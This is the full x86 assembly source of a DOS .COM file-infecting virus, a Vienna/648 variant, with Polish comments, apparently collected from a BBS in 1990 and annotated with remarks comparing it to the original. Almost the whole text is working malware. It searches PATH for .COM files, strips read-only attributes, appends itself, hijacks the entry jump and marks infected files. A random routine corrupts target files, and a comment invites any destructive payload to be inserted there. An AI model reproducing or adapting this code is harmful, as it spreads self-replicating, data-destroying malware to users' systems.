; Kod ¦r˘d’owy wirusa nieznanego autorstwa. Widoczne s† silne wp’ywy 648. ; Dodano w’asne komentarze wskazuj†ce na r˘§nice mi‘dzy t† wersj† i orygina’em. ; Komentarze te poprzedzane s† znakami AK:. ; Tekst znaleziony na dysku komputera FIDO w PC Kurierze 28 wrzežnia 1990. comment ; ********************************************************** wszystkie adresy w programie sa uzywane jako wzgledne do rejestru si ,nie mozna urzywac adresow bezwzglednych jako offset poniewaz po 'doklejeniu sie do programu moze on byc w roznych miejscach ********************************************************** ; adr_baz equ offset stare_DTA ;adres bazowy poczatku zmiennych ;w programie wzgledem niego beda ;obliczane przesuniecia pol zmiennych start_prg equ 100h ;adres poczatku programu typu .com ofst_rozk equ offset rozkazy - adr_baz ;przsuniecie pola rozkazy get_dta_addr equ 2fh ;funkcja dos pobranie adresu DTA msdos equ 21h write equ 40h wirus_len equ DTA + 43 - start code segment byte public 'code' assume cs:code,ds:code,es:code org 100h st1: jmp short start int msdos start: mov dx,offset stare_DTA cld ;ustawienie kierunku przesylania mov si,dx ;poczatek zmiennych programu add si,ofst_rozk ;adres pola rozkazy mov di,100h ;adres pod ktorym jest poczatek programu mov cx,3 ;ilosc bajtow do przeslania repz movsb ;odtworzenie starego poczatku mov si,dx ;odtworzenie si ; AK: pomini‘to badanie wersji DOS push es ;zachowanie es bo bedzie zmieniane mov ah,get_dta_addr ;pobierz adres DTA int msdos mov [si],bx ;zapamietanie adresu DTA w polu mov [si+2],es ;stare_DTA pop es ;odtworzenie es mov dx,5Fh ;adres pola DTA add dx,si mov ah,1Ah ;ustaw adres DTA ds:dx int msdos ; AK: zmieniona jest kolejnožŤ instrukcji, teraz do przechowania SI u§yto ; DX zamiast stosu push es ;zachowanie es push si ;zachowaj si add si,1ah ;adres tekstu PATH= mov dx,si mov es,ds:[2Ch] ;adres srodowiska set ; AK: w oryginale jest to PUSH SI, POP SI mov di,0 szukaj_dalej: mov si,dx lodsb mov cx,8000h ;dlugosc srodowiska repnz scasb ;szukanie litery P mov cx,4 ;dlugosc reszty ATH= porownuj: lodsb scasb jnz szukaj_dalej loop porownuj pop si ;odtworz rejestry pop es mov [si+16h],di ;adres pierwszego bajtu za PATH= mov di,si add di,1Fh ;adres bufora dla nazwy zbioru mov bx,si jmp short dalej nast_sciezka: cmp word ptr[si+16h],0 ;czy koniec path jnz l1 ;nie jmp exit1 ;zakoncz nie ma wiecej zbiorow l1: push ds push si mov ds,es:[2Ch] ;urzywamy es: bo ds bedzie modyfikowany mov di,si mov si,es:[di+16h] add di,1Fh next: lodsb ;zaladuj kolejny znak sciezki dostepu cmp al,';' ;czy koniec definicji scierzki jz koniec_sciezki cmp al,0 ;czy koniec lancucha path jz koniec_set stosb ;przepisz znak do bufora jmp short next koniec_set: mov si,0 koniec_sciezki: pop bx pop ds mov [bx+16h],si ;adres do ktorego przeszukano path cmp byte ptr [di-1],'\' ;czy scierzka zakonczona przez \ jz dalej mov al,'\' stosb ;dopisz \ dalej: mov [bx+18h],di mov si,bx add si,10h mov cx,6 repz movsb ;przepisanie *.com \0 mov si,bx mov ah,4Eh ;find first mov dx,1Fh add dx,si mov cx,3 ;ukryty tylko do odczytu int msdos jmp short czy_jest szuk_nast: mov ah,4Fh ;find next int msdos czy_jest: jnc jest jmp short nast_sciezka jest: mov ax,[si+75h] ;pole zawierajace czas w DTA and al,1Fh ;czy sa 62 sekundy cmp al,1Fh jz szuk_nast cmp word ptr [si+79h],0FA00h ja szuk_nast ;jesli zbyt dlugi cmp word ptr [si+79h],10 jc szuk_nast mov di,[si+18h] push si add si,7Dh kopiuj: lodsb ;kopiuje nazwe zbioru stosb ;nazwa w postaci ASCIIZ cmp al,0 ;czy koniec nazwy jnz kopiuj pop si mov ax,4300h ;pobierz atrybuty zbioru mov dx,1Fh add dx,si int msdos mov [si+8],cx ;zapamietanie atrybutow mov ax,4301h ;ustaw atrybuty and cx,0FFFEh ;usuwa ewentualne r/o mov dx,1Fh add dx,si int msdos mov ax,3D02h ;otwarcie zbioru mov dx,1Fh add dx,si int msdos jnc l2 ;czy poprawne otwarcie jmp exit2 l2: mov bx,ax mov ax,5700h ;pobierz czas i date powstania zbioru int msdos mov [si+4],cx ;czas mov [si+6],dx ;data mov ah,2Ch ;pobierz czas systemowy int msdos and dh,7 ;sekundy jnz zostaw comment ; ********************************************************** tutaj mozna umiescic dowolna procedure uszkadzajaca zbior ta wywolywana jest losowo jesli ostatnie trzy bity sekund zegara systemu sa rowne zero np. 8,16,24 itd. ********************************************************** ; mov ah,write ;zapis do zbioru mov cx,5 ;pieciu bajtow lezacych mov dx,si ;juz poza programem czyli add dx,8Ah ;faktycznie dowolnych int msdos jmp exit3 ;********************************************************* ;koniec procedury uszkadzajacej zbior ;********************************************************* zostaw: mov ah,3Fh ;odczyt trzech pierwszych mov cx,3 ;bajtow z pliku mov dx,ofst_rozk ;do pola rozkazy add dx,si int msdos jc exit3 ;jesli byl blad czytania cmp ax,3 ;czy odczytano dokladnie jnz exit3 ;trzy bajty mov ax,4202h ;przewiniecie zbioru na koniec mov cx,0 mov dx,0 int msdos jc exit3 ;jesli blad mov cx,ax ;w ax dlugosc zbioru sub ax,3 ;obiczanie przesuniecia dla skoku do poczatku wirusa ;jest to adres konca zbioru minus 3 poniewaz ;jmp jest trzy bajtowy mov [si+0Eh],ax ;zapis adresu w polu skok add cx,adr_baz - start + start_prg ;obliczanie adresu poczatku danych (tego ktory jest w si) ;jest to adres pola stare_DTA + 100h przesuniecia programu mov di,si sub di,adr_baz - start - 1 mov [di],cx ;zapisanie adresu bezposrednio w pole ;w pole rozkazu mov dx,offset mov ah,write ;dopisanie wirusa na koniec mov cx,wirus_len ;dlugosc wirusa mov dx,si sub dx,adr_baz - start ;obliczenie adresu poczatku wirusa int msdos jc exit3 ;jesli blad cmp ax,wirus_len ;czy zapisano calego wirusa jnz exit3 mov ax,4200h ;przewiniecie zbioru na poczatek mov cx,0 mov dx,0 int msdos jc exit3 ;jesli blad mov ah,write ;zapis jmp do wirusa mov cx,3 ;na poczatku mov dx,si add dx,0Dh ;pole skok int msdos exit1: mov dx,[si+6] ;data mov cx,[si+4] ;czas or cx,1Fh ;zaznaczenie ze zbior jest zarazony ;ilosc sekund = 62 mov ax,5701h ;zapis daty i czasu do zbioru int msdos mov ah,3Eh ;zamkniecie zbioru int msdos exit2: mov ax,4301h ;ustawienie atrybutow mov cx,[si+8] ;stare atrybuty mov dx,001Fh add dx,si int msdos exit3: push ds mov ah,1Ah ;ustaw adres DTA mov dx,[si+0] ;pole stare_DTA mov ds,es:[si+2] int msdos pop ds xor ax,ax ;zerowanie rejestrow xor bx,bx xor dx,dx xor si,si mov di,0100h ;na stos adres startu push di xor di,di ret stare_DTA dd 0 czas_zb dw 0 data_zb dw 0 attr_zb dw 0 rozkazy db 0b4h,4ch,0cdh skok db 0e9h,0,0 ;kod rozkazu jmp zbior db '*.com',0 srodow dw 0 ;adres srodowiska set bufor dw 0 ;wskaznik do nazwy zbioru path db 'PATH=' nazwa_zb db 63 dup(0) ;pole na nazwe zbioru DTA db 43 dup(0) ;pole dta code ends end st1